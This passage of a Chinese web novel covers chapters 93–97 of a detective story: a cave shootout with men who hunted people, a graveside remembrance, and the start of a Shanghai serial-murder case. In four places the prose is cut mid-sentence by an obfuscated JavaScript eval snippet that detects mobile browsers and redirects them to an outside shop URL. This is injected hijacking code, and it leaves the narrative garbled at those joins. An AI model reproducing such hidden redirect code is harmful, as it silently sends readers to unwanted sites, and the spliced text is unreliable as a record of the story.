看了一会说“这个洞口很隐蔽，他们一路上并没有乱走，是直接诶过来的，或许这是他们的一个据点，你看那人火上架着的锅，应该就是在这里放着的。所以他们山洞中或许还有其他武器。” 齐云松点点头“你说的对。但是我们也等不到大部队，跟周哥他们分开的之后，我们走的路几乎都是新踩出来的，就算找到咱们留下的记号，也要等明天天亮才能追上来。到时候还不知道这俩人逃到什么地方。” 顾昭蕙想了想，也是很棘手。“那就等待机会吧。” 顾昭蕙迷迷糊糊中突然感觉到有人碰了她胳膊一下，她一下子清醒过来，看向旁边的齐云松，齐云松指了指前面。 顾昭蕙往前看去，那个门口的男人已经趴在膝盖上似乎睡着了。 一边的王国伟和邓博洋也醒着，这会都抹了抹脸，清醒一下。 “你留下。国伟拿枪，我先解决这人，如果里边的人惊醒，你就开抢。”齐云松先对着顾昭蕙说了一句，然后交代王国伟，之后又看向邓博洋，“等会你找机会，记住如果是最坏情况，对方惊了，一定不要上前。这是他们的一个落脚点，所以不排除里边有炸弹。”两个人听了心里一惊。 齐云松比划了一下然后当先走了过去。 顾昭蕙没有逞强上前，她对自己的身手还是很清楚的。 王国伟手上端着木仓，齐云松将木仓交给他是因为王国伟打过土匪，对于这种正面冲突并不陌生。这个时候需要的就是足够冷静。 很快三个人走到那人身边，齐云松小心的往洞口里探了一下，里边有点黑，什么都看不到，里边空间也不小。 他小心的靠进那个守夜人，来到那人身后，然后一只手捂着那人的嘴，一只手使劲在那人脖颈处一掌砸下，那人顿时连声音都没有发出来，就瘫了下来。齐云松小心的将人挪到一边，拿了他的木仓，然后接近洞口。这个时候能听见里边轻微的呼噜声。 齐云松对着另外两人打了个手势，小心的往洞里走，将头露出洞口，发现根本看不到人，有一道木栅栏将洞口给挡上了。 就在齐云松想要往前走的时候，突然洞里传来一声呜呜的声音，齐云松暗道一声不好，整个人往外撤，接着就听见一声狗叫声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没事，应该是划了一个口子，不是什么大事。”齐云松说道“咱们刚才那一木仓，已经伤了他了。” 两个人站起身，就听见一声木仓响，接着就看王国伟突然趴在地上，给顾昭蕙吓了一跳，还以为他中木仓了，这时洞中传来一声木仓响。 “他换地方了。”顾昭蕙虽然看到子弹飞来方向，但是因为角度没有办法确定方向，“大约三点钟方向。” 齐云松点点头，王国伟一翻身滚了回去，齐云松突然端着木仓滚了过去，同时勾动扳机。啪的一声。一切寂静。 94. 第 94 章 第九十四章 齐云松和王国伟两个人小心的摸向洞口，洞里响起狗叫声，齐云松小心的探出头，终于看到里面情景，松了一口气，将手上的木仓背到背上，顾昭蕙也站了起来，往洞内看去，之间那个洞有十多米进深，就在六七米的位置有一个男人躺在那里，半个脑袋被轰掉了。 齐云松慢慢的走进去，那条狗还叫着，齐云松看过去，见着一条土狗被一条链子拴着。齐云松看了一眼，就没再管，来到那人身边，看着他身上挂在腰带上的东西，吓了一跳。 “亏着他没有扔这个。”齐云松扭头跟顾昭蕙说了一下。 顾昭蕙摇了摇头“估计不敢吧，刚才扔的那一个就落下一些碎石，估计他也怕不小心把洞给炸开吧。” 齐云松上前，小心的将那人腰带解下来，上边挂着八颗手雷。 王国伟和邓博洋也走进来，跟着两人一起将洞里的尸体抬出去，又检查里边的那些东西。这一收拾，里边竟然有好多武器，而且木仓竟然有四把，全是长木仓。 顾昭蕙走过去，拦住想要上手的邓博洋，她从兜里掏出一个手绢，拿起一把木仓，“这几把木仓，你们先别动。” 顾昭蕙拿着木仓带到外边，借着篝火，仔细看着看了一会，小心放下，旁边又递过来一把，顾昭蕙一看是齐云松，他也用一块布小心地拿着枪口那头。顾昭蕙接过来，仔细观看着，“这两把木仓，应该是不同人用的，我粗略看了一下，指纹有些不同，拿回去仔细检查一下。另外两把估计也差不多。” “你怀疑除了这三个人还有别人？”齐云松问。 顾昭蕙点点头“看洞里的补给，应该是常来的。而且这些人在林子里打猎，咱们看到的就有两人了，谁知道还有没有，需要好好查一下。希望只有这三人吧。”说实话这个案子是她没有想到的，说起来不算稀奇，顾湘记忆里在国外有过这样一个类似的案子，只是没想到这边也会发生这样的事情。 因为夜里没有办法进山，所以外面的人也进不来，因为这边出事，早就找了附近军区的人进山，周柏他们出去的时候正好碰到进山的部队，周柏因为不小心从坡上滚了下去，扭伤了腿，没有办法进山，就跟几个人押着犯人出林子了，剩下石文带队进山，他们半夜的时候差不多走到他们抓到犯人的小溪前，天黑了，只能一点点的摸索前进，幸亏顾昭蕙他们留下记号，他们带了手电，一直走到凌晨，队伍实在太累了，就休息了一会，结果还没等他们睡着就听到轰隆一声，接着就是木仓响。 所有人赶紧起来，往爆炸处赶去，接着没一会就没了声音，石文听到木仓声没有了，心都提起来了，他们可知道组长他们只有一柄木仓。 等他们终于赶到地方的时候，远方的天空已经泛白。石文尽管已经筋疲力尽，但是还是快速的爬上了那个山坡，然后就看到那个山洞前面并排躺着两个人，脸上盖着一件衣服，显然没了声息，他组的几个人就在洞口不远的篝火处休息着，齐云松手上抱着一杆木仓，听见声音，看向他们这边。 齐云松让几人休息一下自己不敢睡，等天亮。这山里可是有野兽的。 没想到他们的人这么快就赶过来了。 “齐哥。”石文松了口气，“你们没事吧？” 齐云松笑着摇了摇头“没事。你们来的挺快的。”他站起身。 顾昭蕙也听到声音，睁开了眼睛。 这次突发事件实在是有些突然，顾昭蕙他们出来的时候，周柏已经将那个人审讯完毕了，事情不是多么复杂，那个被抓的人也不是什么硬骨头，他并不知道另外两个人情况，也许是害怕，也许是不想背锅，将事情原原本本的说清楚了。 最后与他们枪战的那个人叫于东平，以前是南边的军官，四八年底的时候他从站场上逃回来，那时候身份信息还不够完善，所以没人知道他曾经的身份。 他逃回来的时候弄了几条木仓，这人有点嗜杀，开始的时候就在山里打些猎物，当时也是靠卖些猎物挣钱，后来有一次在山里不小心把一个猎人给打伤了，他干脆一不做二不休，就把那人给杀了，之后他就发现这种办法似乎更过瘾，就开始寻找合适的‘猎物’，而且不但他这样做，他还找一些想找刺激的人，给他们安排打猎活动。 从供述中顾昭蕙他们又找到了四名猎人，按照供述这四人全都做过‘猎人’的活动。 这四个人的身份也是很敏感的，审完案子顾昭蕙就将案子交给了范队，不是怕了这几个人，而是案子太麻烦，首先搜寻尸体就是一件不好做的事情，之后确定身份审讯定案，一套下来没有半个月一个月的根本干不完。所以干脆放手。 范队接过案子，也挺高兴的，案子麻烦不怕，他正好用来训练新人。 顾昭蕙他们的团建活动也算很成功，几位新人也是获得了锻炼，在团队里融合的很好。顾昭蕙他们也知道这几个人的性格本领。知道以后怎么一起工作了。 大家都很疲惫放了两天假，顾昭蕙回到家，走路都不会了，齐云松背着她进的院，当时已经很晚了，不过田静兰还没睡，看到了赶紧跟了过去“怎么了？受伤了？” “脚破了。”他们早上不到五点就往山外赶，出了林子去了最近的派出所，周柏当时已经审讯差不多了，他们将案子转交忙活完天都黑了，顾昭蕙能坚持到现在，全靠毅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545833|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力。 齐云松本来是想带她去医院，顾昭蕙没同意，多少有点不好意思，一起进山，别人都没事，她要是因为这个去医院显得也太弱了。 她也是想着田静兰是护士长，处理一下小伤没什么问题。 “你把这个叫小伤？”田静兰没忍住瞪了她一眼，她好不容易才把鞋子脱下来，发现袜子已经完全贴在脚上了，袜子上嗨哟UI一些血迹。 齐云松也没回去，要不是顾昭蕙坐车回到市局下车的时候差不点摔倒，他都没发现她受伤了。这会看到脚上情况，心里忍不住叹了一下这人太能忍了。 他取了剪刀，小心的将袜子给剪开，田静兰发现袜子已经黏在脚上，就用碘酒慢慢的润湿双脚，将袜子分离开。 “这是走了多少路。”田静兰看着脚上的水泡，这是破了又磨，磨了又破，将一层皮都磨掉了，不然不会出血。 小心的将伤口清理消毒。然后上药用纱布裹上，“小心点这几天一定要小心，尽量别走路了。你---”她抬头想跟顾昭蕙交代一下，结果人已经睡着了。 齐云松抬头看了看有点心疼，“让她先睡吧。累坏了。” 田静兰叹了口气，“你说你们的工作，太累了。只要遇到案子就没黑没白的，就算补几天假也休息不过来。小蕙，哎！” 齐云松帮着收拾了一下，“她喜欢这工作呢。” 田静兰把被子给盖上，“我知道她喜欢这份工作，但是将来你们要是，俩人都不着家，那日子可咋过。” 齐云松笑了笑，“妈，你想的太远了。”暂时先这样吧，也不太急。 田静兰用手点了点他“你倒是稳当。” 齐云松笑着陪着田静兰出门，将大灯关严，留下一个小台灯。关上门，然后才对田静兰说“等她彻底能接受再说吧。现在这样也不错。”他希望她是真的想明白了，他希望两人的感情是真挚的，不希望有一点凑合，他愿意等。 田静兰还以为齐云松说的意思是顾昭蕙心里还想着永兴，她还没走出来。心里再次叹了一下，要是永兴活着该多少。 顾昭蕙醒来的时候已经天亮了，整个人身上酸痛酸痛的。倒是脚上没那么疼。掀开被子一看，脚已经被纱布包裹了。 她躺下来，用手捂着脑袋，心想自己这体质，简直了，如果是个顾湘，上学的时候，五公里十公里越野都是优秀，这样的运动也能坚持下来，至少脚上不会有这么多大泡，可惜这年代的顾昭蕙只是普通姑娘。 现在的身体有点弱了，应该运动一下，毕竟工作也危险，总不能永远都躲在别人身后。 先联系体能，然后格斗也得炼起来。 95. 第 95 章 第九十五章 这个案子持续了大半个月，经过大部队进山搜寻，找到十一具尸体，位置与那人说的基本吻合，另外就是那四个人抓到了，他们开始并不承认，还仗着祖辈的身份，想要脱罪，但是卢莫和段洪两个人的勘查手段已经是很成熟了。 他们两个连续加班将现场找到的证据，进行检测，确定了大量的指纹证据，这是最直接的证据，尤其在受害人身上发现了一些证据，可以确定四个人绝对不无辜。 终于在证据确凿的情况下，四个人纷纷坦白自己的罪行。 顾昭蕙三天后上班，因为没有什么案子，他们难得正常上下班，最近天气变暖，脱去厚重的衣服，人也清爽很多。 转眼就到了蒋永兴的忌日，顾昭蕙和齐云松带着一捧野菊花来到墓地，去年的这天，是他们结婚的日子，也是蒋永兴离开的日子，看着那墓碑，她心里有种说不出来的滋味，或许记忆力太好，她在这一年里，很多次都回忆了两个人相处的日子。 记忆里的蒋永兴，是阳光正直的，他是个很好的人，顾昭蕙虽然与他相处时间不长，但是能感觉到他的热情，她清楚与蒋永兴在一起一定会幸福。 可惜他那么年轻，顾昭蕙叹口气，她为他感到可惜。 齐云松仔细的清理墓地的青草，轻轻抹去墓碑上面的浮灰，这是他从小到大的兄弟，他的离开，让他悲伤难过，此时心里又有一些愧疚，说不上来，或许是无法控制自己的感情吧。他心里有许多话想跟他说，但是站在这里似乎又无法说出口。 两个人站在那里很久，直到快要到中午的时候才离开。 齐云松骑着车顾昭蕙坐在后面，两个人回城的时候没有说话，直到离家很近了，齐云松才说“中午去我那里吃饭吧。” 顾昭蕙想了想“嗯。” 车子到了南鼓锣巷，齐云松让顾昭蕙在家里等一会，他骑车去买了些东西。 对这里她已经足够熟悉，院子看起来没变，但是院子里那额大枣树已经结了小枣子，一个个跟小豆子似的。齐云松不知道什么时候弄了个摇椅，那种竹子的，放在枣树下。上次他们一起买的躺椅放在西厢房，那里已经重新装成书房，南墙开了窗户，安装上那种大大的格子窗，阳光特别充足，躺椅就放在那里，上次顾昭蕙过来，在那窗下看书，竟然睡着了。 顾昭蕙去了西厢房，屋子当间一张大桌子，很大，上面放着齐云松写的一些东西，她走过去看了看，发现他已经将一些心得写成了册子。 正看着齐云松就回来了，速度很快，从街口的国营饭店买的东西。 两个人来到厨房那边的饭厅，齐云松拿出一瓶酒，“喝两口？” 顾昭蕙点点头，她能喝点酒，之前参加单位庆功宴的时候跟同事喝过，不过今天喝点也行。 喝了几杯酒，齐云松似乎有点兴奋，突然说起了蒋永兴。他还从来没有跟她谈论过他。他们中间肯定要隔着一个他。但是今天他想跟她聊聊。 “我们都是在很小的时候就在一个保育班，那时候不安定，父母都在外面打仗，我们也没个安定的时候，跟着部队转移，不过我们还算幸运的，那时候有了保障，在根据地安全一些，很多孩子都是拖老乡照顾，然后慢慢的就找不到了。” “我小时候性格不好，永兴正好相反，我比他大，因为两家关系好，他就总跟在我后面，那时候我总跟别的小朋友打架，你不知道，其实我们那个时候都很野，打架几乎是家常便饭，永兴小，但是每次都跟在我后边，每次都被揍，可是下次还上。就是疼的哭了，只要我们这边胜了，他就咧嘴笑，眼泪鼻涕一大把的，还露着小豁牙。现在想想有点傻。” 齐云松说着眼睛有点发红，将杯中酒喝了。 “我那时候就觉着这弟弟太傻了，得护着点。谁知道一没看住人就没了。”齐云松抹了抹脸，“十二岁之前我们过了一段安稳日子，之后因为轰炸的关系，我们需要转移，在半路上遇到敌人，我们藏了起来，但是还遇到了炸弹袭击，我当时给炸蒙了，醒来的时候就在另外一个地方，跟他分开了。现在想想我们俩似乎就是从那个时候开始被分成了两条线。” 齐云松愣愣的转动着酒杯，“到京城后，我父母都牺牲了，蒋爸蒋妈，把我当自己家孩子，我和永兴再次见面，他还是那么的开朗，心中全是正义，因为之前的一些工作，我心里有了一些问题，没有人发现，只有他，他感觉到我的问题，陪着我熟悉周围的一切。不知道你能不能体会到那种感觉。” 齐云松说到这里看向顾昭蕙“就是感觉身边每一个人都是可疑的人，似乎下一刻你熟悉的人就会拿出刀子捅向你。尽管周围已经安全了，但是我还是没有安全感，没有办法睡觉。枕头底下要放着木仓。有点风吹草动，就想把枪。” “永兴是第一个发现的，他那时候天天跟着我，晚上非要跟我一起睡，有一次我还拿着枪顶着他的脑袋，可是永兴没有害怕，也是他让我慢慢走出那段日子。心理恢复正常。” 齐云松停下来，“我得谢谢你，如果不是你，我可能没有那么快抓到凶手。” 顾昭蕙摇了摇头，“我一定会抓到凶手。”她不能让他带着污点离开。 “他很爱笑，对人很尊重，跟他在一起没有压力，他还挺害羞，动不动脸红，有时候听笨拙的，我喜欢看他笑，给人一种特别阳光的感觉，好像雨后的天空特别的晴朗，清澈。”顾昭蕙回忆似乎定了格，只有哪一张笑脸。 她看向齐云松“我想我忘不了他。”就算灵魂融合，感情变淡，但是那个男人也是她心里永远不会褪色的影子。 齐云松突然笑了，“我也不会忘记他。”谁又能忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555561|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记呢，如果他们忘记了，那他才是真的消失了。 那天谈话过后两个人的相处似乎有些不同，但是说那里不同，又说不上来。似乎在一起的时候更加自在。 日子就这样过着，期间办了两个案子，都是那种很容易就确定嫌疑人的，一个利用指纹血液痕迹确定了凶手，一个是利用脚印确定嫌犯信息，因为生活范围有限，经过排查就确定了嫌疑人。 案子很快就结案了。眼看进入七月，天气越发热了起来，顾昭蕙突然被范伟强交代了大队长办公室。 “这里有个外地的案子，你看看。”范伟强也没废话，直接扔过来一个卷宗。 顾昭蕙打开看了一下，“是连环杀人案。”她翻看了一下，“这时间跨度太近了。而且没有规律。”她看了看有推翻了她刚才的结论，“不是没有规律，凶手是在下雨天行凶。” 范伟强点点头“这是沪上的案子，自从五月底到现在，已经有七个受害者，都是下雨天遇害，全部都是头部被敲击而死，因为死亡时间都是夜晚雨天，所以发现的时候，现场几乎没有有用线索。而且这些人男女老幼都有，应该是随机杀人。” 顾昭蕙已经将整个卷宗都看了，这里边写的非常详细，甚至连受害人的照片都有，但是她从里边没有看到多少有用的线索。 她将卷宗放下，“沪上那边什么意思？” “现在已经进入梅雨时节，几乎是连雨天，他们尽管已经派人出去，但是没有效果，就在一个小时前我还接到了一个电报，那边又有了一个受害者。听说你的办案能力，想请你过去帮着破案。”范伟强说道。 顾昭蕙皱了皱眉头“我是没有问题的，但是我对那边的情况不是很熟悉。”说实话看着卷宗她也是没啥底的，要说连环闪人按，最难得办的就是这种，随机杀人。凶手没有确切的目标，没有偏好，他手段也简单，直接拿着武器对着受害者后脑勺就是一下，力度很大，一下毙命。直接又迅速。说假话她没有多少信心。 “不管怎么样，过去再说，他们那边也是没有进展，如果不是没有办法不会求到咱们这边，让齐云松和张燕山跟你一起过去。你你破案还行身手差点，燕山跟着也能安全点。”范伟强知道齐云松现在的办案手段也很厉害，之前也是因为他们两个将罪犯心理学，还有足迹血液痕迹分析写成了书，发到各地，沪市那边也不会找到他们。 所以让齐云松过去，也是办案的时候能分头调查，助手什么的沪市那边肯定安排，但是安全上还要用自己人。 顾昭蕙将卷宗拿了就回去通知齐云松和张燕山，两个人听到要出差，也没什么意见，实际上这年代人，真的是那种哪里需要去哪里的。所以三个人赶紧回家，去收拾东西了，下午两点的车。顾昭蕙去了一趟医院，永兴的大姐在沪市，或许案子结束了，她能去看看。 96. 第 96 章 第九十六章 “吃饭了吃饭了。”张燕山端着几个大饭盒子走到卧铺车厢，“哎，火车上吃饭不用票，还有大米饭。”张燕山虽然在外边闯荡几年，但是坐火车出门还是第一次。 顾昭蕙将手上的卷宗收拾好，“幸亏火车上有饭供应，咱们仨出门什么吃的都没带。”他们也是走得急，拿了必要的东西就到车站坐车了。幸亏局里给他们弄了卧铺车厢看，不那么遭罪。 齐云松帮着张燕山将饭盒打开放好，一盒红烧肉炖豆角，一盒韭菜炒鸡蛋和炒土豆丝，两个菜装了一盒。剩下两大盒子饭。 齐云松先给顾昭蕙用饭盒盖盛了些米饭，“咱们晚上八点应该有一站要停，十五分钟，站台里应该有买东西的，看看有没有干粮茶叶蛋什么的，买点至少半夜饿了或是明天早上不供应饭也不怕了。” 顾昭蕙点点头“行啊。” 张燕山和齐云松都是能吃的，顾昭蕙就吃了一些，剩下的两人分了。车上有热水供应，乘务员还会送热水到铺位，说起来服务还挺好的。 吃了饭，顾昭蕙斜靠在枕头上，想着这个案子，卷宗里真的看不出什么，没有线索的情况下，案子不好破，她这会也只能从案件的一些信息，分析凶手的一些心理意图。 “你说他这种无差别攻击，到底是为了什么？没有针对性，受害者之间没有相同点。”齐云松也在研究卷宗。 顾昭蕙想了想“这些人会不会有什么联系？” 齐云松摇了摇头，“最大的六十五岁，最小的十二岁。分散在几个区域，应该不会有什么联系，而且凶手行凶的时候很利索。”他在脑海模拟着凶手的行动轨迹。 “如果没有联系，那一定有什么诱因。”顾昭蕙总觉着有什么东西被他忽略了。 到沪上的时候是上午九点多，三个人出了车站就看到有一个穿着常服的人举着一个牌子，上边是他们的名字。 “你们好，欢迎你们来到沪市，我是市局刑侦大队的陈全，现在局里太忙了，我们大队长派我过来接几位去市局。”陈全是个三十多岁的男人。 陈全是个健谈的，听说他们三人当中顾昭蕙这个年轻的女同志是组长，他还愣了一下，他之前听大队长说过来接顾组长和另外两个同志，要不是几个人自我介绍，他可能还弄错了。 他们也没去招待所，直接去了市局，到了市局，顾昭蕙就感觉这边有点紧张气氛。市局里的人员走动都是带风的。 跟着陈全上了二楼，直接来到会议室，陈全敲敲门然后推门进入，那门一开，里边就冒出一股烟来，顾昭蕙跟在陈全身后，差点就被熏个倒仰。 等进门才看到屋子里有二十多个人，差不多人手一根。吞云吐雾的。 看到他们进来，在主位坐的四十多岁男人，赶紧站起来“欢迎，京城市局同志过来支援。”他说着就伸出手来，直接跟顾昭蕙握起手来。 办公室里的人也都站起来，大家都听说了，因为这个案子上边请了京城的刑侦专家过来，他们虽然心理不服觉得自己也能把案子破了，但是随着受害人越来越多，他们也希望案子快点破，早点抓到凶手，与这个相比面子就不重要了。 跟顾昭蕙握手的人是沪市市局负责刑侦的副局长，黄余斌，也是他在京城请人过来的。所以他上来就先跟顾昭蕙握手，显然对她已经非常了解。 “来我给大家介绍一下，这位是从京城来的刑侦专家，市局刑侦大队三组组长顾昭蕙，你们不要觉着顾同志年纪小，还是女同志就小看，前段时间我们学习的北河市初一杀人案，还有京城亮马桥灭门案，京城汽车爆炸案。这都是顾组长带人破的。”黄余斌这一介绍，大家就知道了。看向顾昭蕙的眼神都不一样了。 他们破获的一些案子，除去那些跟间谍有关系的案子，其它案子在破获后，都整理成实例发放下去，让各地都学习一下。希望能从中得到启发。因为这个顾昭蕙也没少写案件分析资料。 简单做了一下介绍，他们就坐下来，“京城同志才来，这样陈生辉，你带人先去把刚才开会时确定的调查方向落实一下，将人放下去，赶紧排查，我问了气象站今天傍晚开始又要下雨了，咱们要抓紧时间。”黄余斌让一些人先去办事，然后跟旁边的一个人说“杨智勇你给三位同志介绍一下情况。” 杨智勇是刑侦大队一队的队长，一开始这个案子就是由他负责的。 “我来说一下这个案子的情况。”杨智勇说着将手上的笔记本拿出来，“案子第一位受害人是在五月二十二号。那天我们接到报案，到了现场发现一位三十多岁男性，倒在路边，头上有大量血迹，已经死亡，当时我们将这个案子当做普通谋杀案处理，调查了受害者的所有关系网。但是没有收获。有两位嫌疑人，但是经调查嫌疑人都有不在场证明。” 杨智勇叙述很详细，第一位受害者与第二位受害者之间相隔很长，中间有十天时间，在这期间他一直带人调查受害人的背景，但是结果不理想，直到第二位受害者，两者受害时间相隔两个街区，两人之间没有任何的关系。之后又过三天，第三位受害者出现。再然后受害者从不同街区被害，在四位受害者被发现后，他们每到雨夜都会派人出去巡逻，但是案子还是在继续。 受害者共同点是下雨天，被重器袭击。 顾昭蕙看着手上的调查报告，上面写着受害者被圆形凶器袭击。凶器比较重。 然后顾昭蕙突然发现一个受害人的验尸报告竟然是今天凌晨三点的，她突然想到之前说的受害人是九人“昨天晚上又有一位受害人吗？” 杨智勇点点头“是的，就在昨天晚上六点钟，一个受害者在中山路被发现。”他脸上带着疲惫，因为这个案子他昨天又熬了一宿。 “尸体在那里，我可以去看看吗？”顾昭蕙想看看伤口。 “可以，尸体就在旁边的三院，那停尸房和解剖室都在那边。”他们市局旁边就是医院，这个案子受害者太多，他们借了医院的太平间来存放。 他们三人直接跟着去了医院太平间。 医院太平间在地下室，走下楼梯到了地下就有一股阴冷的感觉。 进入太平间，有一个临时的屋子作为法医室，里边有一位法医正在写报告。听说他们过来看尸体，法医直接带他们进入一件冷库，这里有制冷系统，能暂时保持尸体不腐败。 九具尸体都在这里。顾昭蕙先看昨天的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566206|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后脑已经被凿的凹陷下去，看伤口痕迹是那种圆形的东西，她拿了尺子测量一下，直径有五厘米左右。尸体其它部位没有受伤。她又仔细看了之前的受害人，测量过后发现凶器应该是同一个，“应该是那种平面圆形的重物，被敲击部位骨头都是平的。”刚才顾昭蕙用手摸了摸，软组织有些肿胀但是骨头碎裂后是平的。 顾昭蕙将每具尸体都观察一遍，然后还看了受害者身上的衣物鞋子全都仔细观察一遍。她还让齐云松帮她记录一些数据。 “凶手身高大约一米七二至一米七五。”顾昭蕙又得出一个结论。 “这个结论是怎么得出来的？”法医室那位医生，觉着她刚才的结论就有点离谱，这手一模就能摸出骨头的状态？还有身高也不是脚印怎么能确定？ 顾昭蕙将受害者的一些数据说了出来，身高体重鞋子厚度，伤口位置，通过身高和伤口位置，大约能判断出凶手行凶时的状态。凶手行凶的时候使用的力度手势几乎都是相同的，这些受害者都是一击毙命，说明凶手将这一套杀人动作已经非常熟练了，她指出前两名受害者，将他们头上伤口与后面几位进行对比，发现前面两位伤口有些深浅不一，说明他当时使用的姿势与力度是不确定的。 但是这一状态在后面几个受害者身上就没有体现了，后面几位受害者伤口几乎是一致的，这就说明凶手的杀人手法已经成熟，然后从伤口位置确定凶手大约身高。 怎么说呢，顾昭蕙虽然给他们解释的清楚，但是要说这样数值怎么算出来的，她也没有办法说的太清楚。因为得出这个数据，是大恼经过多方面对比模拟，进行很多次演算出来的。 所以她也只能将大概给他们说一下。 “凶手是个男人，力气不小，他随身带着凶器，看行凶时间，并不确定，在重重巡查下，还能找到机会说明他随身带着凶器，只要遇到就会行动。并不是特意寻找的目标。这个人是那种拿着凶器，但是不会被人怀疑的人。” 这个案子她在火车上分析很多，进行了大量的模拟，然后刚才看过全部资料，她就做出这样的结论。 杨智勇觉着自己就像听天书一样，甭管她的分析对不对吧，至少她现在说出来的这些东西，听起来挺靠谱的。只是看了卷宗和尸体，就得出这样的结论，还真是厉害。 虽然案件有了一些新的思路，但是想要抓到人还是有些困难。下午四点多的时候天空就开始下雨，顾昭蕙也体会了一下这边的梅雨季节，高温高湿，上午下了火车就觉着天阴沉沉的，随时有雨的样子，然后下午就开始下雨了。 下了雨外面的行人减少，最近市民都听说了雨夜杀人案，所以一下雨大家都不敢出屋了，倒是巡查的公安人员都在外面巡逻。市局里的人也十分紧张。 顾昭蕙没有出去，她现在对沪市不是很熟悉，干脆在市局查看地图，还有一些必要的资料，倒是齐云松跟着沪市的几位同志去查凶器了。顾昭蕙大概描述了凶器的样子，齐云松干脆带人去寻找市面上能找到的类似物品，拿回来作比对。 时间一点点过去，晚上八点的时候雨停了，外出的人又巡查一个小时，陆陆续续的往回走。 今夜平安。 97. 第九十七章 第九十七章 顾昭蕙看着案子的卷宗似乎想从中找出什么东西，但是这些资料不说看了几遍，这几天脑海里只要不是睡着了就一直在运转着，将资料一遍一遍的过。希望从中找出有用的线索。 还是没有线索，昨天晚上大雨凶手没有动作，为什么呢？之前的受害者有相近的，其中三人是连续三天被杀，那三天连雨天，三名受害人被害，之后隔了两次雨天，之前她来的那天四点多钟，一位受害人被杀，接着他们在火车上的时候又一位受害人被杀，两位被杀都是在下雨的时候，也就是说带有连贯性，而昨天晚上没有受害人。为什么呢？这其中有什么规律吗？ 顾昭蕙皱着眉头，总觉着这里有些什么东西被她忽略了。 齐云松这会从外面走进来，手上抱着一个大箱子，后边跟着两个沪市的同志，也是抱着箱子，杨智勇头天夜里没怎么睡觉，这会正在办公室里用几把椅子搭了个休息的地方，听见声音，不知道怎么的就掉下椅子。迷迷瞪瞪的就站了起来。 “是凶器找到了吗？”他揉了揉头发问道。 “我们将市面上所有能找到的类似凶器的物品逗弄来了。”齐云松说道。 说实话从昨天出门，他们跑遍了市里所有的五金店，农具店，甚至去各个工厂寻找可能的凶器。 齐云松相信顾昭蕙，对她的判断十分重视，以她的标准作为判断，将能找到的可能的凶器都带回来了。 他们将箱子里的物品全都放在桌子上，铺满了半个桌子。 顾昭蕙一看，斧头锤子居多，型号都差不多，与她给出的直径差不多的。 她先是大略看一下，将脑海中的印记与物品做对比，初步排除一些不符合的物品，最后留下五样东西。 这五种差不多都是锤子类的，圆头平面。顾昭蕙将每一样都拿起来仔细观察，最后留下了一样。“应该就是这种凶器。”她说完拿着尺子测量了一下数据。然后眼睛都亮了起来“应该就是跟这个一样的凶器。” “这是羊角锤？”刑侦大队的人有一位认识这种锤子，所以直接说了出来。 “羊角锤？”杨智勇凑过去，仔细看着。 顾昭蕙看着羊角锤上的几个英文字母，突然有点兴奋，“这种锤子咱们国内没有生产过吧？”目前国内的工业刚刚起步，国内的锤子斧子能制作，但是这种羊角锤，做成这样暂时应该还没有、 “很少见。”杨智勇，都没有见过。这年代人说实话工具太少见了。 齐云松将本子拿出来，查案这个羊角锤的来处，“这是从电厂工人那里拿来的锤子。我问过他那套工具还是四五年的时候当时电厂给的奖励，他一直用着。” 顾昭蕙已经将羊角锤的所有数据都记录下来，“没错，就是这个，第一名受害者受害时凶手可能用力过大，头骨直接砸碎，整个锤头可能都陷进头骨内，形成的形状，跟这个温和。可以让法医做痕迹检测。或者做个类似的实验。” 杨智勇点点头，有点兴奋的说“做，这就让人去做。” “查一查市面上有那些店铺卖这种羊角锤，这种羊角锤，在早些年都是进口的。价格不便宜，不过早些年沪市的工厂很多，这样的羊角锤也不少。恐怕来源也不那么好查。” “就是有一线希望也要查一查。” 齐云松将锤子拿过去，掂了掂，有点压手但是也不是很沉，是个很趁手的工具“我觉着可以查一查使用这种工具的工人技术人员，凶手随时拿着这样一个工具。不被人注意，说明这就是他的常用工具。” 思路一下打开了，案子似乎有破获希望了。可是顾昭蕙依然觉着渺茫，因为这样的范围还是太大了，沪市工厂众多，当年就很发达，这种工具肯定不少。 